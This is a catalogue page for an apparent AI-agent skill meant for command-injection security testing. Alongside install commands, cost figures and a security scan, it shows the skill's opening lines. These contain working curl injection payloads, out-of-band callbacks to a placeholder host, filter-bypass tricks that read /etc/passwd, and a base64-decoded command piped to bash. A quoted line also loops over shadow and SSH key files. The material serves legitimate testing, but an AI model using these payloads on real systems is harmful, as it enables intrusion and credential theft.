What is command-injection-exploitation?

A security-testing guide for command injection, where application input is accidentally run as part of an operating-system command.

It is for testing features such as network diagnostics, file conversion, and other endpoints that call system commands, including cases with no visible response.

It helps find cases where missing input checks let a user run unintended commands on the server.

command-injection-exploitation — Skill for Claude Code and Codex by Mi

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add MingyiSecLab/Mingyi-Atlas --skill command-injection-exploitation

Clone the repo

git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/command-injection-exploitation/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-exploitation)

Your own site

<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/command-injection-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/command-injection-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 61 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,790 The whole file, excluding the scripts and references it only reads on demand.

Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00061	$0.01790
Opus 5	$0.00030	$0.00895
Sonnet 5	$0.00012	$0.00358
Haiku 4.5	$0.00006	$0.00179

Measured 5d ago against content hash 574579462f3c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade B, and why

command-injection-exploitation scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa /home/*/.ssh/id_rsa \

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' -o cmdi_semicolon.txt

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

when_to_use: "command injection, os command, cmdi, rce command, shell injection, system command, exec, popen, subprocess, backtick injection, semicolon injection, pipe injection, ping command, os.system, shell=True, eval

src/skills/standard/exploit/web/command-injection-exploitation/SKILL.md · 118 lines

How it starts

The opening of the file, as written. The whole thing — 118 lines — stays where its author put it; the contents beside it link to each section on GitHub.

OS Command Injection

Exploits applications that pass user input to OS commands without sanitization.

Detection

# Basic tests
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' -o cmdi_semicolon.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1|id' -o cmdi_pipe.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1$(id)' -o cmdi_subshell.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1`id`' -o cmdi_backtick.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1%0aid' -o cmdi_newline.txt

# Blind detection — time-based
curl -s 'https://<TARGET>/ping?host=127.0.0.1;sleep+5' --max-time 10 -w '\nTime: %{time_total}s\n'

# Blind detection — out-of-band (DNS/HTTP callback)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/cmdi'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+<CALLBACK>'

Injection Operators

Operator	Behavior	Example
`;`	Sequential execution	`; id`
`\|`	Pipe output	`\| id`
`\|\|`	Execute if first fails	`\|\| id`
`&&`	Execute if first succeeds	`&& id`
`	Command substitution	`id`
`$()`	Command substitution	`$(id)`
`%0a`	Newline	`%0aid`
`%0d%0a`	CRLF	`%0d%0aid`

Bypass Techniques

# Space bypass
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat${IFS}/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;{cat,/etc/passwd}'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat%09/etc/passwd'  # tab

# Keyword bypass (if 'cat' is blocked)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;c\at+/etc/passwd'   # backslash
curl -s 'https://<TARGET>/ping?host=127.0.0.1;ca""t+/etc/passwd'  # empty quotes
curl -s 'https://<TARGET>/ping?host=127.0.0.1;tac+/etc/passwd'    # alternative command
curl -s 'https://<TARGET>/ping?host=127.0.0.1;head+/etc/passwd'   # alternative command

# Base64 encoded command
curl -s "https://<TARGET>/ping?host=127.0.0.1;\$(echo+aWQ=|base64+-d|bash)"

Credential/Secret Extraction After RCE Confirmed

Read the full file on GitHub · 118 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

5d ago First seen · 118 lines · 61 tokens per session scan B 574579462f3c

Subscribe to this mod's changes

command-injection-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 61 tokens to every session and 1,790 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 3 findings (reaches for credential files, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Debugging Security ai-agents ai-hacking ai-pentesting ai-security cybersecurity devsecops

command-injection-exploitation

Getting it into your agent

Wrote this? Show the measurements

What it costs to keep this loaded

Grade B, and why

Reaches for credential filesmediumPrivilege escalation

Makes network callslowCapability

Runs shell commandslowCapability

How it starts

OS Command Injection

Detection

Injection Operators

Bypass Techniques

Credential/Secret Extraction After RCE Confirmed

What this file has done since we first saw it

Other skills, from other repositories

cis-aws-foundations-2.1.3

cis-aws-foundations-2.12

cis-aws-foundations-2.7

cis-aws-foundations-4.4

cis-aws-foundations-6.1.2

cis-aws-foundations-2.3